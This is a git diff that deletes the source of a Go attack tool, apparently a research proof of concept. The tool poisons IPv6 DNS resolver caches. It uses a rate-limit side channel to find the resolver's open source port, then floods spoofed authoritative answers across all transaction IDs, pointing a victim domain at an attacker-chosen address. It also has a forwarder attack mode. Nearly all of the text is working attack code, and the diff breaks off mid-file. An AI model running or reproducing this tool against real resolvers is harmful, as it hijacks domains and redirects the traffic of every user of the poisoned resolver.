rspIP.FlowLabel != 2 && rspIP.NextHeader == layers.IPProtocolUDP && compareIPv6Addr(rspIP.SrcIP, resolverIP) == 0 { - rspUDPLayer := packet.Layer(layers.LayerTypeUDP) - if rspUDPLayer != nil && rspUDPLayer.(*layers.UDP).SrcPort == 53 { - rspDNSLayer := packet.Layer(layers.LayerTypeDNS) - if rspDNSLayer != nil { - rspDNS := rspDNSLayer.(*layers.DNS) - if rspDNS.QR == true { - if len(rspDNS.Authorities) != 0 && rspDNS.ResponseCode == layers.DNSResponseCodeNXDomain && string(rspDNS.Questions[0].Name) == dnsQueryName && - string(rspDNS.Authorities[0].Name) == victimDNSName && string(rspDNS.Authorities[0].SOA.MName) == soaName { - fmt.Println("Success!!") - os.Exit(0) - } else if string(rspDNS.Questions[0].Name) == dnsQueryName && rspDNS.ResponseCode == layers.DNSResponseCodeNoErr { - for _, record := range rspDNS.Answers { - if record.Type == layers.DNSTypeAAAA { - fmt.Println("AAAA记录修改成功!!") - os.Exit(0) - } - } - } else if string(rspDNS.Questions[0].Name) == dnsQueryName { - gotReply = true - } - } - } - } - } - continue - } else if rspICMPLayer := packet.Layer(layers.LayerTypeICMPv6); rspICMPLayer == nil { - continue - } else if rspICMP, ok := rspICMPLayer.(*layers.ICMPv6); !ok { - continue - } else if rspICMP.TypeCode != layers.CreateICMPv6TypeCode(layers.ICMPv6TypeDestinationUnreachable, layers.ICMPv6CodePortUnreachable) && - rspICMP.TypeCode != layers.CreateICMPv6TypeCode(layers.ICMPv6TypeDestinationUnreachable, layers.ICMPv6CodeAdminProhibited) { - continue - } else if nestedIpData := rspICMP.Payload; nestedIpData == nil { - continue - } else if nestedIpPacket := gopacket.NewPacket(nestedIpData, layers.LayerTypeIPv6, gopacket.NoCopy); nestedIpPacket == nil { - continue - } else if nestedIpLayer := nestedIpPacket.Layer(layers.LayerTypeIPv6); nestedIpLayer == nil { - continue - } else if nestedIp := nestedIpLayer.(*layers.IPv6); nestedIp == nil { - continue - } else { - r := getBackendResolver(nestedIp.DstIP) - if r != nil { - - nestedUDPLayer := nestedIpPacket.Layer(layers.LayerTypeUDP) - if nestedUDPLayer == nil { - fmt.Println("nestedUDPLayer == nil") - continue - } - nestedUDP := nestedUDPLayer.(*layers.UDP) - if nestedUDP == nil { - fmt.Println("nestedUDP == nil") - continue - } - - //got verification packet back - if nestedIp.FlowLabel > 1 { - //update rtt - /* Potential BUG: rtt of both resolver may not be the same. */ - newrtt := captureInfo.Timestamp.Sub(r.groupSendTime[nestedIp.FlowLabel]).Nanoseconds()/1000000 + 1 - if newrtt >= 0 && newrtt < 5000 { - var draftJitter uint = 0 - if uint(newrtt) > rtt { - draftJitter = uint(newrtt) - rtt - } else { - draftJitter = (jitter + (rtt - uint(newrtt))) / 2 - } - if jitter > 30 { - fmt.Println("Jitter > 30ms!") - jitter = 10 - } else { - jitter = draftJitter - } - rtt = uint(newrtt) - if debugOutput { - fmt.Println("rtt=", rtt, ", jitter=", jitter) - } - } else { - fmt.Println("newrtt error:", newrtt) - } - //reduce ratelimit counter - localIPNum := getLocalIPNum(nestedIp.SrcIP) - if localIPNum != -1 { - if r.perIPLimitCounter[localIPNum] >= 0 { - r.perIPLimitCounter[localIPNum]-- - } - if r.perIPLimitCounter[localIPNum] < 0 { - if debugOutput { - /* This may happen in real attacks. Don't panic :). */ - fmt.Println(r.resolverBackendIP, "bug: perIPLimitCounter < 0") - } - } - if debugOutput { - fmt.Println(r.resolverBackendIP, "remaining counter:", localIPNum, r.perIPLimitCounter[localIPNum]) - } - } else { - if debugOutput { - fmt.Println("received unwanted ICMP for", nestedIp.SrcIP) - } - } - //process the packet - binarySearch(r, nestedIp.FlowLabel) - } - } - } - } -} - -func binarySearch(r *backendResolver, flowlabel uint32) { - groupLen := 0 - group := r.groups[flowlabel] - - for _, port := range group { - if port != 65535 { - groupLen++ - } else { - break - } - } - - if groupLen == 1 { - //brute force - r.networkXmitLock.Lock() - fmt.Println("猜测开放端口为: " + strconv.Itoa(int(group[0]))) - dnsBruteForce(group[0], timeGap, r.resolverBackendIP, attTargetAddr) - r.networkXmitLock.Unlock() - r.alwaysOpenPorts[group[0]] = true - } else if groupLen > 1 { - var repeatTimes1 int - if repeatTimes > 1 { - repeatTimes1 = repeatTimes + 1 - } else { - repeatTimes1 = 1 - } - for j := 0; j < repeatTimes1; j++ { - //二分法定位开放端口 - //left - id := allocateGroupID(r) - r.groups[id] = make([]uint16, groupLen/2) - copy(r.groups[id], group[0:groupLen/2]) - for len(r.groups[id]) < GROUP_SIZE { - r.groups[id] = append(r.groups[id], 65535) - } - if debugOutput { - fmt.Println(r.resolverBackendIP, "bs", r.groups[id][0], "+", groupLen/2) - } else { - fmt.Println("Found something interesting!") - } - r.priorityProbeChannel <- flowlabel - - //right - id = allocateGroupID(r) - r.groups[id] = make([]uint16, groupLen-groupLen/2) - copy(r.groups[id], group[groupLen/2:groupLen]) - for len(r.groups[id]) < GROUP_SIZE { - r.groups[id] = append(r.groups[id], 65535) - } - //fmt.Println(r.resolverBackendIP, "bsr", r.groups[id][0], "+", groupLen-groupLen/2) - r.priorityProbeChannel <- flowlabel - } - } else { - if debugOutput { - fmt.Println(r.resolverBackendIP, "bug: groupLen <= 0, id=", flowlabel) - for _, port := range group { - fmt.Print(port) - } - } - } -} - -func perIPLimitRecover(r *backendResolver, num int) { - for { - if r.perIPLimitCounter[num] < 6 { - time.Sleep(time.Second + (time.Duration(defaultJitter)+50)*time.Millisecond) - r.perIPLimitCounter[num]++ - } else { - time.Sleep((time.Duration(defaultJitter) + 1) * time.Millisecond) - } - } -} - -func probeSender(r *backendResolver) { - for { - - var flow uint32 - select { - case flow = <-r.priorityProbeChannel: - break - case flow = <-r.probeChannel: - break - //default: - // time.Sleep(time.Microsecond) - } - - // 当所有IP都测试过且端口组中只有一个端口时,进行TXID暴力破解 - if getIPwithAvailableCounter(r) == nil && r.groups[flow][1] == 65535 { - //brute force - fmt.Println("猜测开放端口为:" + strconv.Itoa(int(r.groups[flow][0]))) - fmt.Println("开始爆破事务ID") - r.networkXmitLock.Lock() - dnsBruteForce(r.groups[flow][0], timeGap, r.resolverBackendIP, attTargetAddr) - r.networkXmitLock.Unlock() - r.alwaysOpenPorts[r.groups[flow][0]] = true - continue - } - // 测试每个IP的速率限制 - var verifyIP net.IP - for { - verifyIP = getIPwithAvailableCounter(r) - if verifyIP == nil { - time.Sleep(time.Millisecond) - } else { - break - } - } - - //send - ports := r.groups[flow] - r.networkXmitLock.Lock() - for i := 0; i < GROUP_SIZE; i++ { - if defaultJitter <= 3 { - if attackForwarder { - xmitUDPv6(authIP, r.resolverBackendIP, 53, layers.UDPPort(ports[i]), flow, 100) - } else { - xmitUDPv6(authIP, r.resolverBackendIP, 53, layers.UDPPort(ports[i]), flow, 1) - } - } else { - xmitUDPv6(authIP, r.resolverBackendIP, 53, layers.UDPPort(ports[i]), flow, 0) - } - } - time.Sleep(time.Duration(defaultJitter) * time.Millisecond) - // 验证 - xmitUDPv6(verifyIP, r.resolverBackendIP, 53, 65535, flow, 10) - r.groupSendTime[flow] = time.Now() - if rand.Uint32()%100 < 2 { - if debugOutput { - fmt.Println("目标"+r.resolverBackendIP.String(), "探测中", "当前端口范围"+strconv.Itoa(int(ports[0]))+"~~"+strconv.Itoa(int(ports[0]+49))) - } else { - fmt.Println("开放端口猜测中,请稍后...") - } - } - - // 等待全局计数器恢复 - if !attackForwarder { - time.Sleep(time.Duration(60-defaultJitter) * time.Millisecond) - } else { - /* IDK why I wrote this line. Forwarders should be the same as resolvers if they support global rate limit. */ - time.Sleep(time.Duration(60) * time.Millisecond) - } - r.networkXmitLock.Unlock() - } -} - -// 划分端口 -func portGroupFormer(r *backendResolver, startPort uint, endPort uint) { - for { - //divide into groups - var id uint32 = 0 - var currentGroupSize = 0 - - for i := startPort; i <= endPort; i++ { - // 端口不太可能用于进一步的查询。但这仍然是可能的。如果觉得端口重用不太可能发生,请在这里取消注释 - if r.alwaysOpenPorts[i] { - continue - } - if currentGroupSize%GROUP_SIZE == 0 { - if id != 0 { - r.probeChannel <- id - for j := 1; j < repeatTimes; j++ { - //dup - previd := id - id = allocateGroupID(r) - r.groups[id] = make([]uint16, len(r.groups[previd])) - copy(r.groups[id], r.groups[previd]) - r.probeChannel <- id - } - } - - id = allocateGroupID(r) - r.groups[id] = make([]uint16, 0) - } - - r.groups[id] = append(r.groups[id], uint16(i)) - currentGroupSize++ - } - - //deal with last several cases - if /*len(r.groups[id]) != 50 &&*/ len(r.groups[id]) != 0 { - for len(r.groups[id]) != 50 && len(r.groups[id]) != 0 { - r.groups[id] = append(r.groups[id], 65535) - } - - r.probeChannel <- id - - for j := 1; j < repeatTimes; j++ { - //dup - previd := id - id = allocateGroupID(r) - r.groups[id] = make([]uint16, len(r.groups[previd])) - copy(r.groups[id], r.groups[previd]) - r.probeChannel <- id - } - } - } -} - -func main() { - - /* This program only finds & injects DNS responses automatically. Additional authoritative server muting/flooding scripts are needed. */ - /* IPv4 is not supported yet. */ - /* Use "-h to get usage. " */ - /* Attaching PoC? */ - /* Add Paper Bio? */ - ifaceName := flag.String("i", "vmnet1", "Interface for attacking. Multiple interfaces are not supported. Multiple IPs per interface is supported.") - /* If automatic MAC address discovery doesn't work. consider enable this option and feed it to the MAC field. */ - // gateWayMacStr := flag.String("g", "00:11:22:33:44:55", "Gateway Mac") - authServer := flag.String("a", "", "Authoritative server for the domain to be poisoned.") - resolver := flag.String("r", "8.8.8.8", "Front-end IP of the victim resolver.") - resolverBackend := flag.String("b", "", "Back-end IP of the victim resolver.") - resolverBackendList := flag.String("bn", "", "Back-end IP list of the victim resolver. One per line. This would overwrite \"-b\" and is used when the server has multiple backend IPs.") - startPort := flag.Uint("s", 1, "Lowest port # for the port scan range, inclusive.") - endPort := flag.Uint("e", 65534, "Highest port # for the port scan range, inclusive.") - victimDNSName := flag.String("n", "", "The domain name to be poisoned.") - dnsQueryTimeout := flag.Uint("t", 4000, "Timeout in ms for outgoing dns queries to the victim resolver. Should be aligned with the resolver's timeout (e.g., BIND is 10000ms by default).") - defaultJitter := flag.Uint("j", 5, "Time gap between verification packet and the latest probe packet in a group. Increase the value if Jitter is increased.") - repeatTimes := flag.Int("R", 1, "Retransmit/Reprobe a group of ports for X times to reduce FNs.") - timeGap := flag.Uint("tg", 0, "Time gap is us(microseconds) between the TxID brute force packets.") - attTargetAddr := flag.String("ad", "", "想要篡改实现的结果") - debugOutput := flag.Bool("d", false, "调试输出模式.") - attackerMaliciousDomain := flag.String("f", "", "Attacker controlled domain used in the forwarder attack, this will enable the forwarder attack mode.") - soaName = *flag.String("soa", "", "SOA name of the victim domain on attacker-controlled name server used to indicate the resolver has been poisoned. (Resolver attack only.)") - - flag.Parse() - fmt.Println("侧信道脚本工作参数:") - fmt.Println("\t网络接口:" + *ifaceName) - fmt.Println("\t目标域名权威服务器地址:" + *authServer) - fmt.Println("\t目标服务器地址:" + *resolverBackend) - fmt.Println("\t目标域名:" + *victimDNSName) - fmt.Println("\t预期修改结果:" + *attTargetAddr) - //gatewayMac, _ := net.ParseMAC(*gateWayMacStr) - Main(*ifaceName, net.ParseIP(*authServer), net.ParseIP(*resolver), net.ParseIP(*resolverBackend), *startPort, *endPort, *victimDNSName, *dnsQueryTimeout, *defaultJitter, - *attackerMaliciousDomain, *resolverBackendList, *debugOutput, *repeatTimes, *timeGap, *attTargetAddr, soaName) - os.Exit(0) -} - -func Main(ifaceName string, authIPArg net.IP, resolverIPArg net.IP, resolverBackendIPArg net.IP, startPort uint, endPort uint, victimDNSNameArg string, dnsQueryTimeout uint, - defaultJitterArg uint, attackerMaliciousDomainArg string, resolverBackendList string, debugOutputArg bool, repeatTimesArg int, timeGapArg uint, attTargetAddrArg string, - soaNameArg string) { - rand.Seed(time.Now().UnixNano()) - - handle, _ = pcap.OpenLive( - ifaceName, - 65536, - true, - pcap.BlockForever, - ) - err := handle.SetBPFFilter("not host " + authIPArg.To16().String()) - if err != nil { - fmt.Println("cannot set BPF filter.") - } - - iface, err := net.InterfaceByName(ifaceName) - if err != nil { - fmt.Println("cannot open network interface") - os.Exit(1) - } - // 是否攻击转发器 - if attackerMaliciousDomainArg != "" { - attackForwarder = true - fmt.Println("转发器攻击模式!") - attackerControlledDomain = attackerMaliciousDomainArg - } - - // 参数赋值 - authIP = authIPArg - resolverIP = resolverIPArg - victimDNSName = victimDNSNameArg - debugOutput = debugOutputArg - timeGap = timeGapArg - attTargetAddr = attTargetAddrArg - soaName = soaNameArg - - localIP, _ = GetIfaceAddrMulti(iface) - nonce := strconv.Itoa(rand.Int()) - - if !attackForwarder { - //dnsQueryName = nonce + "." + victimDNSName - dnsQueryName = victimDNSName - } else { - dnsQueryName = nonce + "." + attackerControlledDomain - } - - defaultJitter = defaultJitterArg - repeatTimes = repeatTimesArg - - if resolverBackendList != "" { - file, err := os.Open(resolverBackendList) - if err != nil { - fmt.Println(err) - os.Exit(10) - } - for { - var resolverIP string - n, err := fmt.Fscanf(file, "%s", &resolverIP) - if n <= 0 || err != nil { - break - } - backendResolvers = append(backendResolvers, backendResolverBuilder(net.ParseIP(resolverIP))) - } - } else { - //r1 shouldn't be nil - r1 := backendResolverBuilder(resolverBackendIPArg) - backendResolvers = append(backendResolvers, r1) - } - - //figure out MAC address - //test if it's in LAN first - // dstMac, err := GetGatewayAddr(iface, handle, backendResolvers[0].resolverBackendIP.To16()) - gwIP, err := getv6Gateway() - dstMac, err := getGatewayV6Mac(ifaceName, gwIP) - if err == nil { - ethernetLayer = &layers.Ethernet{ - SrcMAC: iface.HardwareAddr, - DstMAC: dstMac, - //EthernetType: layers.EthernetTypeIPv4, - EthernetType: layers.EthernetTypeIPv6, - } - fmt.Println("\t目的Mac地址为:", dstMac) - } else { - //query routing table - router, err := routing.New() - if err != nil { - fmt.Println(err) - os.Exit(4) - } - _, nextHopIP, _, err := router.Route(backendResolvers[0].resolverBackendIP) - if err != nil { - fmt.Println(err) - os.Exit(5) - } - dstMac, err := GetGatewayAddr(iface, handle, nextHopIP.To16()) - if err != nil { - fmt.Println(err) - os.Exit(6) - } - fmt.Println("MAC:", dstMac) - ethernetLayer = &layers.Ethernet{ - SrcMAC: iface.HardwareAddr, - DstMAC: dstMac, - //EthernetType: layers.EthernetTypeIPv4, - EthernetType: layers.EthernetTypeIPv6, - } - } - - // 开启接收线程,处理响应包判断攻击状态 - go receivingThread() - - for i, ip := range localIP { - // 只使用公网IP - if !ip.IsLoopback() { - if debugOutput { - fmt.Println("可用 IP", ip) - } - for _, r := range backendResolvers { - go perIPLimitRecover(r, i) - } - } - } - // 发送dns查询请求,触发端口开放 - go dnsRequestSender(dnsQueryTimeout) - - for _, r := range backendResolvers { - // 猜测端口 - go probeSender(r) - // 端口范围组合 - go portGroupFormer(r, startPort, endPort) - time.Sleep(25 * time.Millisecond) - } - - time.Sleep(999 * time.Hour) - -} - -func allocateGroupID(r *backendResolver) uint32 { - r.groupIDCounterLock.Lock() - id := r.groupIDCounter - r.groupIDCounter++ - if r.groupIDCounter == 0 { - r.groupIDCounter = 3 - } - r.groupIDCounterLock.Unlock() - return id -} - -func getBackendResolver(resolverIP net.IP) *backendResolver { - for _, r := range backendResolvers { - if compareIPv6Addr(r.resolverBackendIP, resolverIP) == 0 { - return r - } - } - return nil -} - -func lockNetwork() { - for _, r := range backendResolvers { - r.networkXmitLock.Lock() - } -} - -func unlockNetwork() { - for _, r := range backendResolvers { - r.networkXmitLock.Unlock() - } -} - -func getLocalIPNum(ip net.IP) int { - for i, localip := range localIP { - if compareIPv6Addr(localip, ip) == 0 { - return i - } - } - return -1 -} - -func backendResolverBuilder(backendIP net.IP) *backendResolver { - - if backendIP == nil { - return nil - } - temp := backendResolver{ - resolverBackendIP: backendIP, - groups: make([][]uint16, 65536), - groupIDCounter: 3, - groupIDCounterLock: &sync.Mutex{}, - groupSendTime: make([]time.Time, 65536), - probeChannel: make(chan uint32, 655), - priorityProbeChannel: make(chan uint32, 655), - alwaysOpenPorts: make([]bool, 65536), - perIPLimitCounter: make([]int, len(localIP)), - networkXmitLock: &sync.Mutex{}, - } - for i := range temp.perIPLimitCounter { - temp.perIPLimitCounter[i] = 6 - } - for i := 0; i < 65536; i++ { - temp.alwaysOpenPorts[i] = false - } - temp.alwaysOpenPorts[53] = true - temp.alwaysOpenPorts[0] = true - temp.alwaysOpenPorts[65535] = true - return &temp - -} - -// distribute verification to multiple IPs evenly -func getIPwithAvailableCounter(r *backendResolver) net.IP { - seed := rand.Int() % len(localIP) - for i := 0; i < len(localIP); i++ { - if r.perIPLimitCounter[(i+seed)%len(localIP)] > 0 { - return localIP[(i+seed)%len(localIP)] - } - } - return nil -} diff --git "a/att script/6(v6\347\257\241\346\224\271)/code/src/fakedns6/dns.go" "b/att script/6(v6\347\257\241\346\224\271)/code/src/fakedns6/dns.go" deleted file mode 100644 index c29f9f9..0000000 --- "a/att script/6(v6\347\257\241\346\224\271)/code/src/fakedns6/dns.go" +++ /dev/null @@ -1,261 +0,0 @@ -package main - -import ( - "fmt" - "math/rand" - "net" - "time" - - "github.com/google/gopacket/layers" -) - -var bruteForceCouldBeKilled bool - -func sendDNSRequest(id uint16, name string) { - if debugOutput { - fmt.Println("Send new DNS request", name, id) - } - _sendDNSRequest(id, name, localIP[0], resolverIP, (layers.UDPPort)(rand.Uint32()), 53) -} - -func _sendDNSRequest(id uint16, name string, src net.IP, dst net.IP, sport layers.UDPPort, dport layers.UDPPort) { - ipLayer := layers.IPv6{ - FlowLabel: 1, - SrcIP: src, - DstIP: dst, - Version: 6, - HopLimit: 64, - NextHeader: layers.IPProtocolUDP, - //Flags: layers.IPv4DontFragment, - } - udpLayer := layers.UDP{ - SrcPort: sport, - DstPort: dport, - } - dnsLayer := layers.DNS{ - ID: id, - QR: false, - OpCode: 0, - AA: false, - TC: false, - RD: true, - RA: false, - Z: 0, - ResponseCode: 0, - QDCount: 1, - ANCount: 0, - NSCount: 0, - ARCount: 0, - Questions: []layers.DNSQuestion{{ - Name: []byte(name), - Type: layers.DNSTypeAAAA, - Class: layers.DNSClassIN, - }}, - Authorities: nil, - Additionals: nil, - } - err := udpLayer.SetNetworkLayerForChecksum(&ipLayer) - if err != nil { - fmt.Println("udpLayer.SetNetworkLayerForChecksum @ dns.go pos 0 error", err) - } - err = Send(handle, ethernetLayer, &ipLayer, &udpLayer, &dnsLayer) - if err != nil { - fmt.Println("can not send packet @ sendDNSRequest: ", err) - } -} - -func bruteForceTerminatingTimer(timegap uint) { - time.Sleep(time.Duration(timegap) * time.Millisecond) - bruteForceCouldBeKilled = true -} - -func dnsBruteForce(targetPort uint16, timegap uint, resolverBackendIP net.IP, attTargetAddr string) { - bruteForceShouldBeKilled = true - bruteForceCouldBeKilled = false - ipLayer := layers.IPv6{ - FlowLabel: 2, - SrcIP: authIP, - DstIP: resolverBackendIP, - Version: 6, - HopLimit: 64, - NextHeader: layers.IPProtocolUDP, - //Flags: layers.IPv4DontFragment, - } - udpLayer := layers.UDP{ - SrcPort: 53, - DstPort: layers.UDPPort(targetPort), - } - dnsLayer := layers.DNS{ - ID: 0, - QR: true, - OpCode: 0, - AA: true, - TC: false, - RD: false, - RA: false, - Z: 0, - ResponseCode: layers.DNSResponseCodeNoErr, - } - - if !attackForwarder { - dnsLayer.Questions = []layers.DNSQuestion{{ - Name: []byte(dnsQueryName), - Type: layers.DNSTypeAAAA, - Class: layers.DNSClassIN, - }} - // 原方案:将域名NS篡改到attacker的服务器上 - //dnsLayer.Authorities = []layers.DNSResourceRecord{{ - // Name: []byte(victimDNSName), - // Type: layers.DNSTypeNS, - // Class: layers.DNSClassIN, - // TTL: 300, - // IP: nil, - // NS: []byte(auxDomain), - // CNAME: nil, - // PTR: nil, - // TXTs: nil, - // SOA: layers.DNSSOA{}, - // SRV: layers.DNSSRV{}, - // MX: layers.DNSMX{}, - // OPT: nil, - // TXT: nil, - //}} - //dnsLayer.Answers = nil - //dnsLayer.Additionals = nil - dnsLayer.Authorities = []layers.DNSResourceRecord{{ - Name: []byte(dnsQueryName), - Type: layers.DNSTypeNS, - Class: layers.DNSClassIN, - TTL: 300, - IP: nil, - // 暂时写死 - NS: []byte("nsv6.n64.top"), - CNAME: nil, - PTR: nil, - TXTs: nil, - SOA: layers.DNSSOA{}, - SRV: layers.DNSSRV{}, - MX: layers.DNSMX{}, - OPT: nil, - TXT: nil, - }} - dnsLayer.Answers = []layers.DNSResourceRecord{{ - Name: []byte(dnsQueryName), - Type: layers.DNSTypeAAAA, - Class: layers.DNSClassIN, - TTL: 300, - /* Fill with any IP you want. The victim domain will be hijacked to this IP. */ - IP: net.ParseIP(attTargetAddr), - NS: nil, - CNAME: nil, - PTR: nil, - TXTs: nil, - SOA: layers.DNSSOA{}, - SRV: layers.DNSSRV{}, - MX: layers.DNSMX{}, - OPT: nil, - TXT: nil, - }} - dnsLayer.Additionals = nil - } else { - /* Change these flags accordingly to the request sent by the resolver. */ - dnsLayer.AA = false - dnsLayer.RD = true - dnsLayer.RA = true - dnsLayer.Questions = []layers.DNSQuestion{{ - Name: []byte(dnsQueryName), - Type: layers.DNSTypeAAAA, - Class: layers.DNSClassIN, - }} - dnsLayer.Answers = []layers.DNSResourceRecord{{ - Name: []byte(dnsQueryName), - Type: layers.DNSTypeCNAME, - Class: layers.DNSClassIN, - TTL: 300, - IP: nil, - NS: nil, - CNAME: []byte(victimDNSName), - PTR: nil, - TXTs: nil, - SOA: layers.DNSSOA{}, - SRV: layers.DNSSRV{}, - MX: layers.DNSMX{}, - OPT: nil, - TXT: nil, - }, { - Name: []byte(victimDNSName), - Type: layers.DNSTypeAAAA, - Class: layers.DNSClassIN, - TTL: 300, - /* Fill with any IP you want. The victim domain will be hijacked to this IP. */ - IP: net.ParseIP(attTargetAddr), - NS: nil, - CNAME: nil, - PTR: nil, - TXTs: nil, - SOA: layers.DNSSOA{}, - SRV: layers.DNSSRV{}, - MX: layers.DNSMX{}, - OPT: nil, - TXT: nil, - }} - } - - err := udpLayer.SetNetworkLayerForChecksum(&ipLayer) - if err != nil { - fmt.Println("udpLayer.SetNetworkLayerForChecksum @ dns.go error", err) - } - if debugOutput { - fmt.Println("DNS BruteForce: ", targetPort) - } - - startTime := time.Now() - var txid uint16 - //try to see if this port is open in reality - for txid = 0; txid < GROUP_SIZE*2; txid++ { - dnsLayer.ID = txid - err = Send(handle, ethernetLayer, &ipLayer, &udpLayer, &dnsLayer) - if err != nil { - fmt.Println("can not send packet @ sendDNSRequest pos 1: ", err) - } - time.Sleep(time.Duration(timegap) * time.Microsecond) - } - - /* This is used for early termination */ - //verification packet - //xmitUDPv6(localIP, resolverBackendIP, layers.UDPPort(targetPort), 65535, 2, 0) - //go bruteForceTerminatingTimer( /*jitter + defaultJitter*/ defaultJitter + 60) - - //continue brute force - for txid = GROUP_SIZE * 2; txid < 0xffff; txid++ { - /* This is used for early termination */ - //if bruteForceCouldBeKilled && bruteForceShouldBeKilled { - // fmt.Println("DNS Brute force aborted") - // break - //} - dnsLayer.ID = txid - err := Send(handle, ethernetLayer, &ipLayer, &udpLayer, &dnsLayer) - if err != nil { - fmt.Println("can not send packet @ DNSBruteForce: ", err) - } - if timegap != 0 { - time.Sleep(time.Duration(timegap) * time.Microsecond) - } - } - - //0xffff is missing from packet trace - /* This is used for early termination */ - //if !bruteForceShouldBeKilled { - dnsLayer.ID = 0xffff - err = Send(handle, ethernetLayer, &ipLayer, &udpLayer, &dnsLayer) - if err != nil { - fmt.Println("can not send packet @ DNSBruteForce pos 2: ", err) - } - //} - if debugOutput { - fmt.Println("time: ", time.Now().Sub(startTime)) - } - - //help to recover the global counter - time.Sleep(time.Duration(60+ /*jitter + defaultJitter*/ defaultJitter) * time.Millisecond) -} diff --git "a/att script/6(v6\347\257\241\346\224\271)/code/src/fakedns6/go.mod" "b/att script/6(v6\347\257\241\346\224\271)/code/src/fakedns6/go.mod" deleted file mode 100644 index 4baf665..0000000 --- "a/att script/6(v6\347\257\241\346\224\271)/code/src/fakedns6/go.mod" +++ /dev/null @@ -1,15 +0,0 @@ -module fakedns6 - -go 1.20 - -require ( - github.com/google/gopacket v1.1.19 - github.com/miekg/dns v1.1.57 -) - -require ( - golang.org/x/mod v0.12.0 // indirect - golang.org/x/net v0.17.0 // indirect - golang.org/x/sys v0.13.0 // indirect - golang.org/x/tools v0.13.0 // indirect -) diff --git "a/att script/6(v6\347\257\241\346\224\271)/code/src/fakedns6/go.sum" "b/att script/6(v6\347\257\241\346\224\271)/code/src/fakedns6/go.sum" deleted file mode 100644 index 5ab4292..0000000 --- "a/att script/6(v6\347\257\241\346\224\271)/code/src/fakedns6/go.sum" +++ /dev/null @@ -1,25 +0,0 @@ -github.com/google/gopacket v1.1.19 h1:ves8RnFZPGiFnTS0uPQStjwru6uO6h+nlr9j6fL7kF8= -github.com/google/gopacket v1.1.19/go.mod h1:iJ8V8n6KS+z2U1A8pUwu8bW5SyEMkXJB8Yo/Vo+TKTo= -github.com/miekg/dns v1.1.57 h1:Jzi7ApEIzwEPLHWRcafCN9LZSBbqQpxjt/wpgvg7wcM= -github.com/miekg/dns v1.1.57/go.mod h1:uqRjCRUuEAA6qsOiJvDd+CFo/vW+y5WR6SNmHE55hZk= -golang.org/x/crypto v0.0.0-20190308221718-c2843e01d9a2/go.mod h1:djNgcEr1/C05ACkg1iLfiJU5Ep61QUkGW8qpdssI0+w= -golang.org/x/crypto v0.0.0-20191011191535-87dc89f01550/go.mod h1:yigFU9vqHzYiE8UmvKecakEJjdnWj3jj499lnFckfCI= -golang.org/x/lint v0.0.0-20200302205851-738671d3881b/go.mod h1:3xt1FjdF8hUf6vQPIChWIBhFzV8gjjsPE/fR3IyQdNY= -golang.org/x/mod v0.1.1-0.20191105210325-c90efee705ee/go.mod h1:QqPTAvyqsEbceGzBzNggFXnrqF1CaUcvgkdR5Ot7KZg= -golang.org/x/mod v0.12.0 h1:rmsUpXtvNzj340zd98LZ4KntptpfRHwpFOHG188oHXc= -golang.org/x/mod v0.12.0/go.mod h1:iBbtSCu2XBx23ZKBPSOrRkjjQPZFPuis4dIYUhu/chs= -golang.org/x/net v0.0.0-20190404232315-eb5bcb51f2a3/go.mod h1:t9HGtf8HONx5eT2rtn7q6eTqICYqUVnKs3thJo3Qplg= -golang.org/x/net v0.0.0-20190620200207-3b0461eec859/go.mod h1:z5CRVTTTmAJ677TzLLGU+0bjPO0LkuOLi4/5GtJWs/s= -golang.org/x/net v0.17.0 h1:pVaXccu2ozPjCXewfr1S7xza/zcXTity9cCdXQYSjIM= -golang.org/x/net v0.17.0/go.mod h1:NxSsAGuq816PNPmqtQdLE42eU2Fs7NoRIZrHJAlaCOE= -golang.org/x/sync v0.0.0-20190423024810-112230192c58/go.mod h1:RxMgew5VJxzue5/jJTE5uejpjVlOe/izrB70Jof72aM= -golang.org/x/sync v0.4.0 h1:zxkM55ReGkDlKSM+Fu41A+zmbZuaPVbGMzvvdUPznYQ= -golang.org/x/sys v0.0.0-20190215142949-d0b11bdaac8a/go.mod h1:STP8DvDyc/dI5b8T5hshtkjS+E42TnysNCUPdjciGhY= -golang.org/x/sys v0.0.0-20190412213103-97732733099d/go.mod h1:h1NjWce9XRLGQEsW7wpKNCjG9DtNlClVuFLEZdDNbEs= -golang.org/x/sys v0.13.0 h1:Af8nKPmuFypiUBjVoU9V20FiaFXOcuZI21p0ycVYYGE= -golang.org/x/sys v0.13.0/go.mod h1:oPkhp1MJrh7nUepCBck5+mAzfO9JrbApNNgaTdGDITg= -golang.org/x/text v0.3.0/go.mod h1:NqM8EUOU14njkJ3fqMW+pc6Ldnwhi/IjpwHt7yyuwOQ= -golang.org/x/tools v0.0.0-20200130002326-2f3ba24bd6e7/go.mod h1:TB2adYChydJhpapKDTa4BR/hXlZSLoq2Wpct/0txZ28= -golang.org/x/tools v0.13.0 h1:Iey4qkscZuv0VvIt8E0neZjtPVQFSc870HQ448QgEmQ= -golang.org/x/tools v0.13.0/go.mod h1:HvlwmtVNQAhOuCjW7xxvovg8wbNq7LwfXh/k7wXUl58= -golang.org/x/xerrors v0.0.0-20191011141410-1b5146add898/go.mod h1:I/5z698sn9Ka8TeJc9MKroUUfqBBauWjQqLJ2OPfmY0= diff --git "a/att script/6(v6\347\257\241\346\224\271)/code/src/fakedns6/ipv6util.go" "b/att script/6(v6\347\257\241\346\224\271)/code/src/fakedns6/ipv6util.go" deleted file mode 100644 index 09245d3..0000000 --- "a/att script/6(v6\347\257\241\346\224\271)/code/src/fakedns6/ipv6util.go" +++ /dev/null @@ -1,103 +0,0 @@ -package main - -import ( - "encoding/hex" - "fmt" - "net" - "os/exec" - "strings" - "syscall" - "unsafe" -) - -type router struct { - ifaces []net.Interface - addrs []net.IP - v6 routeSlice -} -type routeSlice []*rtInfo - -type rtInfo struct { - // Dst net.IPNet - Gateway, PrefSrc net.IP - OutputIface uint32 - Priority uint32 -} - -func getv6Gateway() (net.IP, error) { - rtr := &router{} - - tab, err := syscall.NetlinkRIB(syscall.RTM_GETROUTE, syscall.AF_INET6) - if err != nil { - return nil, err - } - - msgs, err := syscall.ParseNetlinkMessage(tab) - if err != nil { - return nil, err - } - - for _, m := range msgs { - switch m.Header.Type { - case syscall.NLMSG_DONE: - break - case syscall.RTM_NEWROUTE: - // rtmsg := (*syscall.RtMsg)(unsafe.Pointer(&m.Data[0])) - attrs, err := syscall.ParseNetlinkRouteAttr(&m) - if err != nil { - return nil, err - } - routeInfo := rtInfo{} - rtr.v6 = append(rtr.v6, &routeInfo) - for _, attr := range attrs { - switch attr.Attr.Type { - // case syscall.RTA_DST: - // routeInfo.Dst.IP = net.IP(attr.Value) - // routeInfo.Dst.Mask = 